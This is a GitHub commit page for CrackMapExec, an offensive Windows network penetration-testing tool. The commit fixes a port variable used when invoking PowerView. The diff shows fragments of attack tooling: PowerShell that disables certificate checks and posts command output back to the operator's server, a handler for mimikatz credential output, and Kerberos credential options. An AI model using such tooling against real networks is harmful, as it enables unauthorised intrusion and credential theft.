Skip to content
This repository has been archived by the owner on Dec 6, 2023. It is now read-only.

Commit

Permalink
Fixed port variable when invoking PowerView
Browse files Browse the repository at this point in the history
  • Loading branch information
byt3bl33d3r committed Nov 21, 2015
1 parent f0fe1a2 commit 474ded4
Show file tree
Hide file tree
Showing 3 changed files with 5 additions and 4 deletions.
4 changes: 3 additions & 1 deletion core/powershell.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
import settings

def ps_command(command):
logging.info('PS command to be encoded: ' + command)

if settings.args.server == 'https':
logging.info('Disabling certificate checking for the following PS command: ' + command)
command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command
Expand Down Expand Up @@ -64,7 +66,7 @@ def powerview(self, command):
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();""".format(protocol=self.protocol,
port=settings.args.port,
port=settings.args.server_port,
addr=self.localip,
view_command=command)

Expand Down
2 changes: 1 addition & 1 deletion core/servers/mimikatz.py
Original file line number Diff line number Diff line change
Expand Up @@ -83,7 +83,7 @@ def do_POST(self):
print_att(data)
self.save_mimikatz_output(data)

elif settings.args.powerview:
elif settings.args.powerview and data:
print_succ('{} PowerView command output:'.format(self.client_address[0]))
buf = StringIO(data.strip()).readlines()
for line in buf:
Expand Down
3 changes: 1 addition & 2 deletions crackmapexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -72,8 +72,7 @@
parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
parser.add_argument("--server", choices={'http', 'https'}, default='http', help='Use the selected server (defaults to http)')
parser.add_argument("--server-port", type=int, help='Start the server on the specified port')

parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
#How much fail can we limit? can we fail at failing to limit? da da da dum
parser.add_argument("--fail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed per host (default: None)')
parser.add_argument("--gfail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed globally (default: None)')
Expand Down

0 comments on commit 474ded4

Please sign in to comment.